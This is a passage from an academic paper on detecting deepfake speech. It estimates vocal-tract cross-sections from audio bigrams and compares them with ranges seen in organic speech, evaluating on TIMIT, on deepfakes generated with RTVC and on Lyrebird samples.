speaker verification systems [36]. The embedding is derived
from a short utterance using the target speaker’s voice. The
accuracy of the embedding can be increased by giving the
encoder more utterances, with diminishing returns. The output
embedding from the encoder stage is passed as an input into
the following synthesizer stage.

Synthesizer: A synthesizer generates a Mel Spectrogram
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from a given text and the speaker embedding. A Mel Spectro-
gram is a spectrogram that has its frequencies scaled using
the Mel scale, which is designed to model audio perception of
the human ear. Some synthesizers can produce spectrograms
solely from a sequence of characters or phonemes [37].

Vocoder: Lastly, the vocoder converts the Mel Spectrogram
to retrieve the corresponding audio waveform. This newly
generated audio waveform will ideally sound like a target
individual uttering a specific sentence. A commonly used
vocoder model is some variation of WaveNet [38], which uses
a deep convolutional neural network that uses surrounding
contextual information to generate its waveform.

Although the landscape of audio generation tools is ever-
changing, these three stages are the foundational components
of the generation pipeline. The uniqueness of each tool is
derived mainly from the quality of models (one for each stage)
and the exact design of their system architecture.

4 Hypothesis

Human-created speech is fundamentally bound to the anatom-
ical structures that are used to generate it. Only certain ar-
rangements of the vocal tract are physically possible for a
speaker to create. The number of possible acoustic models
that can accurately reflect both the anatomy and the acous-
tic waveform of a speaker is therefore limited. Alternatively,
synthetic audio is not restricted by any physical structures
during its generation. Therefore, an infinite set of acoustic
models could have generated the synthetic audio. The details
of this phenomenon will be discussed shortly in Section 6. It
is highly improbable that models used to generate synthetic
audio will mimic an acoustic model that is consistent with
that of an organic speaker. As such, synthetic audio can be
detected by modeling the acoustic behavior of a speaker’s
vocal tract.

5 Security Model

Our security model consists of an adversary, a victim, and a
defender. The goal of the adversary is to create a deepfake
audio sample of the victim uttering a specific phrase. We
assume a powerful adversary, one who has access to enough
of the victim’s audio and enough computing power to generate
a deepfake sample.

The adversary offers the defender either the deepfake or
an organic audio sample. The defender is tasked with ascer-
taining whether the adversary-provided sample is deepfake or
organic audio. If the defender makes the correct assessment,
the adversary loses.

The defender does not have knowledge of, or audio data
from, the victim the adversary will attempt to impersonate
(i.e., no user-specific audio samples of the victim). The de-
fender also has no knowledge of, or access to, the attacker’s

audio generation algorithm. This is a stronger threat model
than existing works in the area, which often use very large
training data sets (order of thousands of audio samples) [6].
Lastly, we assume that the defender wants an explanation
as to why their detection system flagged a sample as either
deepfake or organic.

A practical example of this scenario is as follows. An adver-
sary creates a deepfake of a local politician and releases it to
the media to further some goal. The media is the defender in
this scenario and must decide whether the adversary’s audio
sample is authentic. Once the authenticity of the audio sam-
ple has been checked the media can choose to either ignore
or publish the audio. If the media publishes a synthetically
generated audio sample, then the adversary has successfully
victimized the politician by making them appear to have said
something they did not. Additionally, any media outlet which
publishes a synthetic audio sample could have its reputation
damaged if it is later discovered that the audio sample was
inauthentic. By leveraging our technique, the media outlet can
prevent reporting inauthentic audio samples, thus preventing
their loss of reputation and the victimization of the politician.

6 Methodology

Our technique requires a training set of organic audio and a
small set of deepfake audio samples generated by the deepfake
algorithm.2 The process of determining the source of an audio
sample (i.e., organic vs deepfake) can then be broken down
into two logical steps:

• Vocal Tract Feature Estimator: First, we construct a
mathematical model of the speaker’s vocal tract based
on the amplitudes of certain frequencies (commonly
referred to as the frequency response) present in their
voice during a specific pair of adjacent phonemes (i.e.,
bigram). This model allows us to estimate the cross-
sectional area of the vocal tract at various points along
the speaker’s airway.

• Deepfake Audio Detector: Next, we aggregate the
range of values found for each bigram-feature pair in our
organic dataset. These values determine if the audio sam-
ple can be realistically produced by an organic speaker.
This enables our system to discriminate between organic
and deepfake samples. Additionally, we can isolate the
bigram-feature pairs that best determine the source of
an audio sample to create a set of ideal discriminators.
These ideal discriminators allow us to optimally deter-
mine whether an unseen audio sample is a deepfake.

2The training data is a general set that does not require samples of the
specific victim that is being targeted. Additionally, the training data required
for this technique is significantly less than the data required with prior ML-
based techniques.
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Figure 3: The sound produced by a phoneme is highly dependent on the structure of the vocal tract. Constriction made by tongue
movement or jaw angle filters different frequencies.

6.1 Reader Participation

Before we go further into the details of these two steps, we
would like to help the reader develops a deeper intuition of
phonemes and speech generation.

For speech, air must move from the lungs to the mouth
while passing through various components of the vocal tract.
To understand the intuition behind our technique, we invite
the reader to speak out loud the words “who” (phonetically
spelled “/hu/”) and “has” (phonetically spelled “/hæz/”) while
paying close attention to how the mouth is positioned during
the pronunciation of each vowel phoneme (i.e., “/u/” in “who”
and “/æ/” in “has”).

Figure 3 shows how the components are arranged during
the pronunciation of the vowel phonemes for each word men-
tioned above. Notice that during the pronunciation of the
phoneme “/u/” in “who” the tongue compresses to the back
of the mouth (i.e., away from the teeth) (A) at the same time,
the lower jaw is held predominately closed. The closed jaw
position lifts the tongue so that it is closer to the roof of the
mouth (B). Both of these movements create a specific path-
way through which the air must flow as it leaves the mouth.
Conversely, the vowel phoneme “/æ/” in “has” elongates the
tongue into a more forward position (A) while the lower jaw
distends, causing there to be more space between the tongue
and the roof of the mouth. This tongue position results in a
different path for the air to flow through, and thus creates a
different sound. In addition to tongue and jaw movements, the
position of the lips also differs for both phonemes. For “/u/”,
the lips round to create a smaller more circular opening (C).
Alternatively, “/æ/” has the lips unrounded, leaving a larger,
more elliptical opening. Just as the tongue and jaw position,
the shape of the lips also impacts the sound created.

One additional component that affects the sounds of a
phoneme is the other phonemes that are adjacent to it. For
example, take the words “ball” (phonetically spelled “/bOl/”‘)
and “thought” (phonetically spelled “/TOt/”). Both words con-
tain the phoneme “/O/,” however the “/O/” in “thought” is

affected by the adjacent phonemes differently than how “/O/”
in “ball” is. In particular “thought” ends with the plosive “/t/”
which requires a break in airflow, thus causing the speaker to
abruptly end the “/O/” phoneme. In contrast, the “/O/” in “ball”
is followed by the lateral approximant “/l/,” which does not
require a break-in airflow, leading the speaker to gradually
transition between the two phonemes.

6.2 Vocal Tract Feature Estimator
Based on the intuition built in the previous subsection, our
modeling technique needs to be able to extract the shape of
the vocal tract present during the articulation of a specific
bigram. To do this, we use a fluid dynamic concatenated tube
model to estimate the speaker’s vocal tract that is similar to
Rabiner et al.’s technique [27]. Before we go into the details
of this model, it is important to discuss the assumption the
model makes.

• Lossless Model: Our model ignores energy losses that
result from the fluid viscosity (i.e., the friction losses
between molecules of the air), the elastic nature of the
vocal tract (i.e., the cross-sectional area changing due
to a change in internal pressure), and friction between
the fluid and the walls of the vocal tract. Ignoring these
energy losses will result in our model having acoustic
dampening, causing the lower formant frequencies to in-
crease in value3 and an increase in the bandwidth of all
formant frequency spikes4. Additionally, we assume the
walls of the vocal tract have an infinitely high acoustic
impedance (i.e., sound can only exit the speaker from
their mouth) which will result in our model missing trace
amounts of low bass frequencies. Overall, these assump-
tions simplify the modeling processing while decreasing
the accuracy of our technique by a marginal amount and
are consistent with prior work [27].

3This effect is mainly caused by the elastic nature of the vocal tract walls.
4The viscosity and friction losses predominately effect frequencies above

4 kHz [27].
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Figure 4: The cross sectional area of each pipe is calculated
to characterize the speaker’s voice tract.

• Unidirectional Traveling Waves: We assume that,
within the model, we will only have traveling waves
along the centerline of the tube. It stands to reason that
this assumption is accurate enough for our model given
the small diameter of our tubes (i.e., vocal tract). This
assumption should not affect our results since any error
caused by this assumption will most likely occur in fre-
quencies greater than 20 kHz (far above human speech).
As we will discuss later in this section, our model is most
accurate for lower frequencies and thus we only analyze
frequencies beneath 5 kHz.5

• Vowel Limitation: The model used in this paper was
only designed to accurately model vowel phonemes.
Other phonemes are generated via fundamentally dif-
ferent and more difficult model mechanisms such as
turbulent flow. Despite this, we apply the same model
across all bigrams throughout this work for reasons dis-
cussed in Section 9.1.

Our concatenated tube model consists of a series of open
pipe resonators that vary in diameters but share the same
length. A simplified representation can be seen in Figure 4.

To estimate the acoustics of an individual tube at a specific
time during a bigram, we need to understand the behavior
of pressure waves within the resonator. The simplest way to
do this is to model the net volumetric flow rate of the fluid
(i.e., the air in the vocal tract) within the resonator. We can
model the acoustics of a resonator via the flow rate since the
volumetric flow rate and the pressure (i.e., sound) within the
resonator are directly related [27].

Modeling the interaction between two consecutive tubes is
accomplished by balancing the volumetric inflows and out-
flows of the two tubes at their connection. Since the volumet-
ric flow rate between two consecutive tubes must be equal, but
the cross-sectional areas (and thus the volumes) may differ,
there may exist a difference in fluid pressure between them.
This pressure difference at the boundary results in a reflection
coefficient, which affects the fluid flow rates between the two
tubes. A schematic of the intersection between two tubes can
be seen in Figure 5. Mathematically, the interactions between

5It is worth noting that most information in human speech is found below
5 kHz. It is also the reason why cellular codecs, such as those used in GSM
networks, filter out noise in higher frequencies [39].
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Figure 5: In our model we must account for airwaves being
able to move in different directions within the vocal tract and
anticipate how they interact with each other.

two consecutive pipes can be written as follows:

u+1 = u+0 (1+ rk)+U−
0 (rk) (1)

u−0 = u−1 (1− rk)+U+
0 (−rk) (2)

where u+0 and u−0 is the forward and reverse volumetric flow
rate in the left pipe, u+1 and u−1 is the forward and reverse
volumetric flow rate in the right pipe and rk is the reflection
coefficient between the two consecutive pipes.

The reflection coefficient rk can be expressed as follows:

rk =
Ak+1 −Ak

Ak+1 +Ak
(3)

where Ak+1 is the cross-sectional area of the tube that is down-
stream (i.e., further from the pressure source) in the tube series
and Ak is the cross-sectional area of the tube that is upstream
(i.e., closer to the pressure source) in the tube series. It should
be noted that rk is mathematically bound between −1 and
1. This bounding represents the scenarios where either Ak or
Ak+1 is infinitely larger than the next pipe adjacent to it.

Between these three equations, we can fully describe a sin-
gle intersection between two tubes. Our vocal tract model
consists of various tubes with multiple intersections being
concatenated to form a series. To model this, we need to ex-
pand these equations to incorporate additional tube segments
and intersections. In particular, we need to incorporate N
connected tubes with N −1 intersections between them. The
resulting differential equation is the transfer function of our
N-segment tube series and when simplified is the following:

V (ω) =
0.5(1+ rG)∏

N
k=1(1+ rk)e−LCN jω

D(ω)
(4)

D(ω) = [1,−rG]

[
1 −r1

−r1e−2LC jω e−2LC jω

]
...

[
1 −rN

−rNe−2LC jω e−2LC jω

][
1

rAtm

] (5)

where rG is the reflection coefficient at the glottis, r1...rN are
the reflection coefficients for every consecutive tube pair in
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Figure 6: High-level overview of how the vocal tract feature estimator works. A speaker’s audio sample (a single-window from
a bigram) has its frequency data extracted using an FFT, the output of which is used as the target for our transfer function to
reproduce. The transfer function is run twice over a range of frequencies w0, ...,wN . The first application of the transfer function
uses the current reflection coefficients r0, ...,rN with a step size offset added to a single coefficient. The second application
instead subtracts the step size offset from the same single coefficient. The estimated frequency response curve calculated for both
series is subtracted from the target curve. Whichever reflection coefficient results in a lower area under the resulting curve will be
selected for the next iteration. This process continues (applying the step size offset to all of the reflection coefficients) until the
area under the subtracted curves approach zero, indicating that we have found a reflection coefficient series that approximately
replicates the original speaker’s vocal tract.

the series, rAtm is the reflection coefficient at the mouth, L
is the length of each tube, C is the speed of sound (34,300
cm/s), j is the imaginary constant, and ω is the frequency
of the waveform in rad/s. V (ω) is the volumetric flow rate
at the lips during the pronunciation of a certain frequency,
which is directly related to acoustic pressure (i.e., amplitude
of the voice at frequency ω). We separate the denominator
of Equation 4 out separately into Equation 5 for increased
readability.

These equations together are a simplified representation of
a system of 2N equations (N Equation 1’s and N Equation 2’s)
that represents a series of N connected tube intersections
(Figure 6). Since the volumetric flow rate through every tube
within this series must be equal, we can simplify the 2N
equations to Equation 4 and 5.

We refer the reader to Rabiner et al.’s work for a full deriva-
tion of these equations [27].

It is important to note that this differential equation lacks
a closed-form solution and thus, we must specify several
boundary conditions before solving the equation. Specifically,
we must fix the number of tubes used in the series (N) and the
reflection coefficients at both the beginning (rG) and end of
the series (rAtm). This helps to more closely bind our equation
to the physical anatomy from which it is modeled.

We can determine the number of tubes necessary for our
model by taking the average human vocal tract length (approx-
imately 15.5 cm [40]) and dividing by the length of each tube.
This length, L, can be determined by the following equation
(derivation of this equation can be found in Section 3.4.1 of

Rabiner et al.’s work [27]):

L =
TC
2

(6)

where T is the period between samples in our audio record-
ings. In our study, all of our audio samples had a sampling rate
of 16 kHz. This sampling rate was selected since it captures
the most important frequencies for speech comprehension
and is also the most commonly found sampling rate for voice-
based systems [41]. By sampling at 16 kHz, our vocal tract
model will be made up of 15 distinct pipe resonators.

Next, we can use our understanding of human anatomy to
fix the first reflection coefficient in the series (rG in Equation
5). This reflection coefficient represents the fluid reflection
that occurs at the speaker’s glottis. During large portions of
speech (e.g., during vowels) the glottis is actively being en-
gaged. This means that the vocal folds are actively vibrating
and thus preventing fluid flow in the reverse direction. With
this in mind, we can set rG to 1, symbolizing only fluid flow
in the forward direction. Finally, the last reflection coefficient
rAtm is representing the behavior of the flow at the opening of
the mouth. Here, once again, we can expect to see predomi-
nately only positive flow. This is because, during speech, the
vocal tract is raised to a higher than atmospheric pressure, pre-
venting flow from moving from the atmosphere back into the
vocal tract. We can, therefore, set the last reflection coefficient
rAtm equal to 1.

With these boundary conditions, we now have a solvable
differential equation that describes the acoustic behavior of
our concatenated tube model. Using this equation we are
now able to accurately estimate the amplitude of a certain
frequency ω during a bigram for a known speaker (that has
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a known r0, ...,rN series). However, in our case, we do not
know the dimensions of the speaker’s vocal tract and cannot
simply apply the transfer function. We do, however, have
access to samples of the speaker’s voice. Thus, we can use
these audio samples and our transfer function to estimate the
speaker’s vocal tract during various articulations. The process
of estimating a speaker’s vocal tract can be seen in Figure 6.

The estimation is done by running a segment of a speaker’s
speech through a Fast Fourier Transform (FFT) to get the rel-
ative amplitudes for the frequencies that make up their voice.
The found frequency response curve is effectively the output
we would expect from the transfer function if we knew the
speaker’s r0, ...,rN values. We can use the frequency response
curve found with the FFT to check if a certain r0, ...rN se-
ries correctly matches our speaker. We can, therefore, find
an accurate approximation of a speaker’s vocal tract by find-
ing a r0, ...,rN series that accurately reproduces the speaker’s
frequency response curve.

To avoid naïvely searching the entire r0, ...,rN space for a
match, we can instead construct an error function that can be
optimized with gradient descent to find a good solution. Since
gradient descent searches for a local minimum, we subtract
the outputs from our transfer function from the frequency
response curve found using the FFT. The transfer function
is initially run with all reflection coefficients r0, ...,rN set to
zero. This is analogous to a constant diameter tube, which is a
configuration achievable by the human vocal tract.6 We then
integrate the resulting curve to find the overall error between
the two curves. As the output of our transfer function ap-
proaches the frequency response curve, the area between the
two curves will approach zero and result in a local minimum.
The r0, ...,rN values used in the transfer function should ap-
proximate the speaker’s vocal tract during that bigram.

Once we have found the optimal series of reflection coef-
ficients, we can convert them into cross-sectional area esti-
mates using Equation 3. This step requires us to make one
last assumption about the vocal tract since there is one more
cross-sectional area measurement than there are reflection
coefficients (i.e., N −1 tube intersections). To mitigate this,
we set the cross-sectional area at the glottis to the average
size of a human glottis of 3.7cm2 [40]. With this assumption,
we can then calculate the cross-sectional area series a0, ...,aN
that closely approximates the human vocal tract.

6.3 Deepfake Audio Detector

Using the vocal tract estimator we can design a generalized
detector for deepfake audio. Our detector has two phases.
First, it extracts the acceptable organic ranges for bigram-
feature pairs that describe organic speech. Next, the detector
will use these acceptable organic ranges to classify whole

6During the “/@/” phoneme the vocal tract roughly resembles a constant
diameter tube.

samples of audio as either deepfake or organic. The associ-
ated code for this paper is available at https://github.com/
blue-logan/who_are_you/.

6.3.1 Organic Range Extraction

The organic range extraction phase begins with the detector
ingesting known organic audio samples. These audio samples
also have associated metadata containing timestamps for both
the words and individual phonemes that make up the sample.
The phoneme metadata is then augmented to create the neces-
sary bigram timing information. For this, we need to define
which phonemes are considered to be adjacent to one another.
We define two phonemes as being adjacent if they are both in
the same word and occur one after the other. For example, the
word cat (phonetically spelled “/kæt/”) contains two bigram
pairs, “/k – æ/” and “/æ– t/”. We consider a bigram to begin
at the start of the first phoneme and stop at the end of the
second phoneme. The bigram timing information will later
be associated to estimate features from processing the audio.

Each bigram audio sample was divided using a sliding
window of 565 samples with an overlap between windows
of 115 samples. To find these values, we found the minimum
and maximum duration for any bigram that existed in our
feature extraction set (more detail of the feature extraction set
in Section 7). We then selected sliding window parameters
(565 samples per window with an overlap of 115 samples) that
ensure that every bigram would have between three and seven
windowed samplings taken from them. This ensured that we
capture the temporal behavior of every bigram. Since speech
is not discrete, each bigram captures the transitional behavior
that exists as the speaker moves from the initial phoneme to
the final phoneme. Windowing the audio allows us to examine
individual stages of these transitions (e.g., beginning, middle,
end). This forces deepfake audio samples to be generated
correctly throughout the transition between phonemes in order
to evade detection. Without windowing, it would be possible
to evade detection by merely generating correct phonemes
without a transition. Each windowed segment of audio is then
passed through our vocal tract estimator and assigned a feature
vector of 15 cross-sectional areas. The 15 different cross-
sectional areas are estimates of the vocal tract at different
points between the glottis and the oral cavity opening. Each
windowed segment is then labeled with the word, bigram, and
window index which corresponds to it.

We are now able to determine which bigrams and features
best differentiate organic and deepfake audio. This is done
by finding divergences in the distributions of features in spe-
cific bigrams between deepfake and organic audio samples.
In other words, we look for differences in the distribution
of the cross-sectional area estimations found for organic and
deepfake audio. The detection of a difference in the cross-
sectional area distributions found for the two types of audio
indicates that the deepfake audio is being created by an inor-
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Figure 7: The divergence of the cross-sectional area estimate distributions for each bigram can be used to help identify deepfake
samples from organic ones. The plots show the distributions of the cross-sectional area estimates for the bigrams (a) “aI – k” as
in “like” and (b) “aU – t” as in “out”. Because the distributions in (a) overlap, “aI – k” is a poor indicator of whether a sample is
deepfake or not. In contrast, the distributions in (b) do not overlap at all. This means “aU – t” is a good indicator to differentiate
between deepfake and organic audio samples. Our technique would then select a threshold value, such as 2.1cm2, that divided
the two distributions.

ganic source. These divergences exist because the biological
framework of the vocal tract limits organic speech, whereas
GAN-generated audio is not limited in the same way. Thus, we
are then able to identify deepfake audio samples from organic
ones by looking for irregular (i.e., inorganic) cross-sectional
area estimates. We, therefore, record the distributions of the
cross-sectional area estimates extracted from the organic au-
dio set to be used for future comparison. One distribution is
recorded for each unique set of a bigram, window index, and
vocal tract position.

6.3.2 Whole Sample Detection

The second phase of our detector is used to determine whether
whole audio samples were GAN or organically generated.
This phase begins similarly to the organic range extraction
phase described in the previous section.

This phase begins by creating the necessary bigram timing
information from the sample’s metadata. Next, it windows
and evaluates the audio samples using the vocal tract estima-
tor. Finally, it associates the estimated vocal tract features to
specific bigrams and words just as in the ideal feature selec-
tion phase. At this point, our whole sample detection phase
deviates from the organic range extraction phase.

Instead of calculating the cross-sectional area distributions
for all bigram-features pairs in the data, this phase checks
whether every bigram-feature pair falls within the previously
determined organic ranges. More specifically, we extract ev-
ery bigram-feature pair from the sample that exists in both
itself and the organic ranges (our set of organic ranges has
no guarantee of containing all possible bigram-feature pairs).
Next, each feature is compared against the maximum and min-
imum values found in the distribution of previously extracted
organic samples. If the majority of the bigram-feature pairs

found in the audio sample are outside the organic distributions,
the audio sample is labeled as a deepfake.

6.4 Detector Optimization

Although the previously described detector can differentiate
between organic and deepfake audio samples, it is inefficient.
Not all bigram-feature pairs act as effective discriminators
since deepfake audio models might be accidentally learning
the correct distribution for some bigram-feature values. This
scenario is likely possible as these models do produce high-
quality “human-like” audio. Thus, our detector is estimating
large numbers of bigram-feature pairs that are unlikely to in-
dicate the origin of the audio sample. To prevent this, we con-
struct an ideal feature set that contains only bigram-feature
pairs that act as strong indicates of the audio authenticity.

6.4.1 Ideal Feature Set Creation

To determine the ideal bigram-feature pairs that act as good
discriminators, we initially follow the same procedures laid
out in our organic range extraction phase. Namely, extract the
timing information from the sample’s metadata, window the
audio, evaluate it using the vocal tract estimator, and construct
an association between the vocal tract features and specific
bigrams. We then plot the probability density function (PDF)
(Figure 7) for each bigram-feature pair. The PDF represents
the likelihood of the random variable, in this case, the bigram-
feature pair, having a certain value. If there is a large over-
lap between the PDF curves for organic and deepfake audio
(Figure 7a), then that feature is a poor discriminator, which
indicates that the model has learned the correct distribution
of the bigram-feature pair. In contrast, if there is little-to-no
overlap between the PDF curves (Figure 7b), then that bigram-
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feature pair is an ideal discriminator (i.e., can be used to help
differentiate between deepfake and organic audio).

Our set of ideal features consists of bigram-feature pairs
that can differentiate between deepfake and organic audio
samples with a precision-recall of at least 0.9. We determine
these threshold values by a sweep through a range of potential
values for each bigram-feature pairs. This process continues
until a threshold value (the threshold k, which is chosen on a
per-feature basis) achieves the desired precision-recall values.
This results in a triplet bigram-feature-threshold that we refer
to as an ideal feature. Next, we weigh each bigram-feature pair
to avoid outlying bigram-features pairs that meet our require-
ments but only contain a relatively small number of samples.
This weight is the number of samples used in our selection
criteria calculations. We then filter our bigram-feature pairs
using these weights so that only the pairs whose weight are
equal to or greater than the average weight of the set are kept.
The collection of all the resulting triplets is hereby referred to
as our ideal feature set.

It is worth noting that our thresholds singularly divide the
PDF. That is, thresholds in our ideal set will label all bigram-
feature pairs as organic only if it shares a certain relationship
with their threshold (i.e., less than or greater than). Therefore
it is possible to create two ideal feature sets, one where values
below the thresholds are labeled as organic and one where
values above the thresholds are labeled as organic. Unless
otherwise stated we will be referring to the ideal feature set
as the set of thresholds where values less than the threshold
are labeled as deepfakes and the values greater than or equal
to the threshold are labeled as organic.

6.4.2 Optimized Detector

Finally, we construct an optimized detector that only computes
and analyzes bigram-features that have been shown to act as
strong indicators (i.e., our ideal feature set). This detector will
follow the same initial operation as our whole sample detector,
decorating the audio data with its corresponding timing and
phoneme data. However, unlike the whole sample detector,
our optimized detector will only check the bigram-features
that best indicate whether the audio sample is organic or
deepfake. More specifically, we extract every feature from the
sample that exists in both itself and the ideal feature set. For
every one of these features, we compare the previously found
threshold from the ideal feature set with the value found in the
current sample. We count the number of times the values from
the test audio samples cross the threshold. If more bigram-
feature values cross the threshold than do not, we label the
audio sample as a deepfake (i.e., majority voting).

7 Datasets

We now discuss the datasets that our technique was tested
against as well as the process that was performed in generat-

ing deepfakes. For our transfer function, we use the TIMIT
Acoustic-Phonetic Continuous Speech Corpus [42] as it is the
standard in acoustic-phonetic studies and is manually verified
by the National Institute of Standard and Technology (NIST).
78

Organic Audio The TIMIT dataset is a speech corpus that is
used in phonetic studies and is commonly used in the training
of ML models for speech recognition systems [45]. Despite
its age, the TIMIT dataset is widely used in research today
with over 1,900 citations since 2015 according to Google
Scholar. TIMIT provides documentation of the time align-
ments for the phonemes and words in each audio file, which
is information that is essential for developing our modeling
process. The TIMIT dataset is comprised of 630 speakers
of 8 different American English dialects speaking phoneti-
cally balanced sentences [42]. Each speaker has 10 sentences
recorded with a sampling rate of 16 kHz. For our experiments,
we randomly sampled 300 speakers from the TIMIT dataset
to have a similarly-sized dataset as that of previous work [46].

For consistency, we also performed our time alignments
using an open-source forced aligner called Gentle [47] which
time-aligns words of transcription with phonemes in an audio
sample. Gentle is built on the Kaldi model [48], which is
a toolkit frequently used for automatic speech recognition.
We use Gentle since any audio samples outside the TIMIT
dataset will not have the phoneme time-alignment information
needed for extraction. By performing our time-alignments
on the TIMIT dataset, we can keep any error in alignments
consistent across all samples (i.e., organic and deepfake).

Deepfake Audio We derived our own set of synthetic
TIMIT audio samples using the open-source Real-Time-
Voice-Cloning (RTVC) tool from Jemine [7, 49], the most
widely used publicly available deepfake generation tool.
RTCV is an implementation of Tacotron 2 by Liu et al.,
which uses Tacotron as the synthesizer and Wavenet as a
vocoder [50]. For each of our 300 TIMIT speakers, we trained
an RTCV model on a concatenation of all 10 TIMIT audio
recordings (approximately 30 seconds). Each RTCV model
was then used to create a deepfake version of every TIMIT
sentence spoken by each speaker. In total, this creates 2,986
usable synthetic audio samples of our 300 original speakers.
The 14 missing audio samples were too noisy for Gentle to
process and were thus unable to be used in our experiments.

Additionally, we contacted several commercial companies
with Deepfake generation tools in an attempt to test our tech-
nique against other systems. Most of these companies never
returned our requests to use their products in our research. The
few companies that responded would only give us extremely

7External factors such as face coverings during audio recording do not
affect the features our technique needs to operate [43].

8Additional experiments were conducted using the ASVspoof2019
dataset [44]. These can be found in Appendix A.
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Figure 8: The bigrams found in the ideal feature set were not the most common bigrams found in speech. However, the bigrams
in the ideal feature set still made up approximately 30.9% of bigrams in our dataset.

limiting access to their product after purchase. Their restric-
tions would have limited us to at most 5 different speakers
compared to the 300 speakers present in the TIMIT Deep-
fakes we generated. We, therefore, took the largest available
of such datasets, published by Lyrebird [51], and evaluated it.
We note that the generation of these samples is black box and
represents a reasonable test against unknown models.

Feature Extraction and Evaluation Sets To evaluate and
test our technique, we subdivided both the organic and deep-
fake TIMIT samples into a feature extraction set (51 speakers)
and an evaluation set (249 speakers). The feature extraction
set is used to determine the ideal bigram-feature pairs and
their corresponding thresholds k using the ideal feature extrac-
tor outlined in Section 6.3.1. Conversely, the evaluation set is
used to evaluate the efficacy of our technique. Both datasets
contain all of the organic and deepfake audio samples for their
respective speakers. Our security model (Section 5) assumes
no knowledge of a speaker is known to the defender. As such,
both sets were selected so that they did not share any speak-
ers. This demonstrates that our technique is extracting useful
features that are inherent to deepfake audio as a class, rather
than features specific to the deepfake of an individual speaker.
This captures a stronger threat model as we do not have any
information about the speaker who will be impersonated.

The feature extraction set contains 1,020 audio files from
51 speakers, which contain a total of 702 unique bigrams. Of
these, 510 audio files from 9 speakers are deepfake samples
and 510 audio files are organic. The evaluation set consists
of 4,966 audio files from 249 speakers, which contain 835
unique bigrams. Of these, 2,476 audio files are deepfake sam-
ples and 2,490 audio files are organic. It is important to note
that our evaluation set is five times as large as our feature
extraction set. We used a smaller feature extraction set and a
larger evaluation set to showcase the efficiency of our tech-
nique. Traditional ML models require large datasets, orders
of magnitude larger than what is used here, to learn from
and capture data intricacies that improve the model’s gener-
alization [6]. Generating large datasets of DeepFakes can be
difficult, inherently limiting the effectiveness of an ML-based

detector. In contrast, our technique does not require a large
dataset to learn from since we leverage the knowledge of
human anatomy. As a result, our technique requires a signifi-
cantly smaller dataset to learn from while still being able to
generalize over a much larger evaluation set.

8 Evaluation

In this section, we discuss the performance of our deepfake
detection technique and explain the results.

8.1 Detector Performance
We first need to find the ideal feature set using the process
detailed in Section 6.3.1. The feature extraction dataset was
used to find the set of ideal features that consisted of 865
bigram-feature-threshold triples.

To evaluate the performance of our detector, we classi-
fied all the audio samples in the evaluation dataset. To do
this, we concatenated all the sentences for each speaker to-
gether to form a single audio sample. We then ran each audio
sample through our whole sample detection phase outlined
in Section 6.3.2. Overall, we extract and compared 12,525
bigram-features pairs to the values found in our ideal feature
set. Finally, our detector was able to achieve a 99.9% preci-
sion, a 99.5% recall, and a false-positive rate (FPR) of 2.5%
using our ideal feature set.

8.2 Bigram Frequency Analysis
We now explain why the detector performed so well by an-
alyzing the bigram results. The 865 bigram-feature pairs of
the ideal feature came from 253 distinct bigrams that had 3.4
features on average within the set. These bigrams make up
approximately 30.9% of the 820 unique bigrams present in
the TIMIT dataset we tested. Since TIMIT is a phonetically
balanced dataset, it accurately represents the distribution of
phonemes in spoken English. In Figure 8, we show the 30
most common bigrams in both the TIMIT dataset and our
ideal feature set. While most of the bigrams in the ideal fea-
ture set are not in the top 30 bigrams, the total ideal feature set
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Figure 9: This distribution plots show the percentage of fea-
tures classified as deepfakes per sentence. We can see that the
majority of the time the decision to classify a sentence as a
deepfake is not near the decision boundary of 0.5.

still accounts for about 15.3% of the total bigram occurrences
extracted from our evaluation set, implying that even though
our ideal features are not the most common bigrams, they still
account for a sizable portion of the speech. This makes select-
ing a phrase that does not contain multiple occurrences of the
bigrams in our ideal feature set difficult for longer phrases, es-
pecially when considering most words are constructed from
multiple bigrams. As such, an English sentence will likely
contain bigrams that are included in our ideal feature set.

With this knowledge, we next explore the likelihood that
our detector will misclassify a sentence. Figure 9 shows the
PDF and histogram of the percentage of features labeled deep-
fake for every sentence in our dataset. The figure shows that
most features evaluated in the deepfake samples are individu-
ally labeled as deepfakes, which informs us that classification
is dependent on multiple features rather than a few prominent
ones. This implies that an adversary’s model performance
would need to increase by a considerable margin before the
model could trivially beat our detection technique.

8.3 Fundamental Phenomena Confirmation

To observe the fundamental difference between deepfakes and
organic audio that our detector is based around, we conducted
an in-depth analysis of the incorrect behavior of the vocal tract
estimates found for deepfake audio in a single phoneme (“/d –
oU/”, pronounced doh). Figure 10 shows the estimated cross-
sectional area for one of the bigrams from the ideal feature set.
For comparison, we use a disjoint set of the TIMIT data to
create a secondary set of audio samples (labeled TIMIT Test)
that has not been previously used. The box plots (a) represent
the estimated cross-sectional area found by our estimator de-
scribed in Section 6.2. The dimensions represent the multiple
tubes our transfer function used to estimate the vocal tract
with, as previously seen in Figure 4. We then converted these
cross-sectional area estimates to their approximate diameters
(b). It is clear at this point that the deepfake audio is not be-

having in a manner that is similar to the organically spoken
data. The final segment of the figure (c) shows that the vocal
tract estimates found for deepfake audio are approximately
the size and shape of a drinking straw.

In addition to the bigram deep dive, we conducted a small-
scale Principle Component Analysis (PCA) experiment, the
results of which are visible in Figure 11. Our PCA experi-
ment was conducted using all bigram pairs from the organic
samples in the feature extraction set (labeled TIMIT Eval-
uation), the organic samples in the evaluation set (labeled
TIMIT Testing), and the deepfake samples in the evaluation
set (labeled Deepfake). We treated each feature vector as a
point in a 15 dimensional space and then used PCA to reduce
the data down to a single dimension that accounted for the
most variance within the data. This single dimension accounts
for approximately 48% of all the variance in the dataset. As
shown in Figure 11, deepfake audio samples are much less
variable than their organic counterparts, which demonstrates
that the “drinking straw” vocal tract observed in the bigram
deep dive is not an outlier, but rather more likely the norm.

8.4 Transferability Experiments

As discussed in Section 7, the availability of public deepfake
datasets is limited, meaning that it was not possible to test
our technique against models at the same scale done using
the RTVC tool. However, we were able to collect a limited
dataset from Lyrebird [51]. These nine synthetic audio sam-
ples of former presidents Obama and Trump were generated
using tweeted messages and publicly released as marketing
material. While our dataset is small, the internal workings of
the Lyrebird model are not public and thus we can perform
a black box test. We collected eight true-negative sentence
samples from previous State of the Union addresses for both
speakers. In total, the synthetic audio samples contained 1,914
bigram pairs representing 220 unique bigrams and the organic
audio samples contained 4,262 bigram pairs representing 270
unique bigrams. The organic and synthetic audio samples had
136 bigrams in common.

We then evaluated these samples using the ideal features
derived from our original dataset and found that they were
unable to successfully detect the Lyrebird audio. Following
this, we wanted to see if a different ideal feature set capable
of detecting Lyrebird audio existed. We proceeded to use the
